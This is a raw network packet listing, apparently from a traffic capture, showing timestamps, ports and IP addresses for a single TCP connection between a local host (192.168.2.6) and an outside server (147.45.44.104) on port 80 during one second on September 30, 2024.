Sep 30, 2024 13:59:38.219923019 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219934940 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.219935894 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219934940 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.219949007 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219959974 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219964981 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.219974041 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219995975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.220015049 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.224847078 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.224895000 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.224968910 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.225012064 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.309890032 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.309941053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310005903 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310017109 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310050964 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310064077 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310076952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310089111 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310117006 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310132027 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310200930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310314894 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310411930 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310560942 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310575008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310594082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310605049 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310615063 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.310621023 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.310656071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.311209917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.311263084 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.311311960 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.311323881 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.311361074 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.311405897 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.311444044 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.311451912 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.311460018 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.311485052 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.311500072 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.312171936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.312185049 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.312197924 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.312208891 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.312222958 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.312237978 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.312266111 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.399847984 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.399919033 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.399925947 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.399931908 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.399946928 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.399957895 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.399961948 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.399980068 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.399980068 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.399991989 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.400002956 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.400023937 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.400043964 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.400768995 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.400814056 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.400816917 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.400825977 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.400850058 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.400866032 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401091099 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401103020 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401113033 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401141882 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401166916 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401169062 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401179075 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401210070 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401225090 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401735067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401746988 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401786089 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401819944 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401830912 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401839972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401850939 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.401865959 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.401890993 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.402641058 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.402661085 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.402677059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.402689934 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.402714014 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.402740955 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.402753115 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.402764082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.402793884 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.402810097 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.403558969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.403569937 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.403579950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.403589964 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.403609991 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.403639078 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496011972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496049881 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496059895 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496071100 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496078014 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496102095 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496121883 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496133089 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496135950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496165037 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496176004 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496181965 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496212006 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496375084 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496386051 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496397972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496422052 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496447086 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496452093 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496464014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496475935 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496498108 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496521950 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496828079 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496840954 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496851921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496879101 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496901989 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496906042 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496918917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496931076 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496948957 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496951103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496962070 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.496963024 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496975899 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.496993065 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497025013 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497626066 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497637987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497648001 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497675896 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497695923 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497697115 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497711897 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497721910 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497734070 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497736931 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497762918 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497772932 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497783899 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497788906 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497796059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.497818947 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.497844934 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.498557091 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498569965 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498579979 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498609066 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.498634100 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.498645067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498655081 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498665094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498677015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498689890 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.498714924 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498716116 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.498730898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498743057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.498756886 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.498785973 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499532938 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499548912 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499558926 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499587059 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499598026 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499605894 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499618053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499628067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499638081 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499645948 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499667883 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499694109 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499754906 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499768019 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499778986 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.499800920 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.499826908 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.585764885 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585793972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585803986 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585824966 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585836887 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585849047 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585864067 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.585902929 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.585938931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.585982084 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.585989952 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586000919 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586041927 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586088896 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586127043 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586152077 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586190939 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586225986 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586241961 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586253881 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586266994 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586286068 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586297035 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586391926 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586407900 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586422920 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586431980 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586432934 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586445093 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586451054 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586462975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586483955 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586492062 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586620092 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586642027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586652994 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586659908 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586716890 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586729050 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586739063 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586750031 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586750031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586750031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586750031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586772919 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586812973 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.586853027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586864948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.586898088 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587143898 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587188005 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587193966 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587209940 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587225914 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587233067 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587239027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587248087 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587265968 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587281942 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587450027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587462902 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587472916 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587491035 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587507010 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587515116 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587591887 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587603092 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587614059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587630987 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587647915 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587685108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587696075 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587706089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587716103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587723970 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587752104 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587788105 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587799072 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587807894 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587817907 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587826014 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587830067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587855101 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587874889 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587908030 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587918997 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587929010 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587939978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.587946892 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587965965 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.587990999 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588576078 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588618040 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588651896 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588666916 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588694096 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588701963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588706970 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588715076 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588726044 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588742018 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588762045 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588798046 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588810921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588819981 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588830948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588841915 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588845015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588857889 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588862896 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588875055 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588886976 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588891029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588901997 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588912010 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.588912964 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588934898 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.588959932 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589520931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589543104 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589554071 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589564085 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589593887 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589621067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589633942 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589643955 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589653969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589663029 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589690924 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589719057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589730024 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589740038 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589750051 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589759111 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589764118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.589790106 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.589814901 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.675856113 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675884008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.675895929 CEST	80	49723	147.45.44.104	192.168.2.6
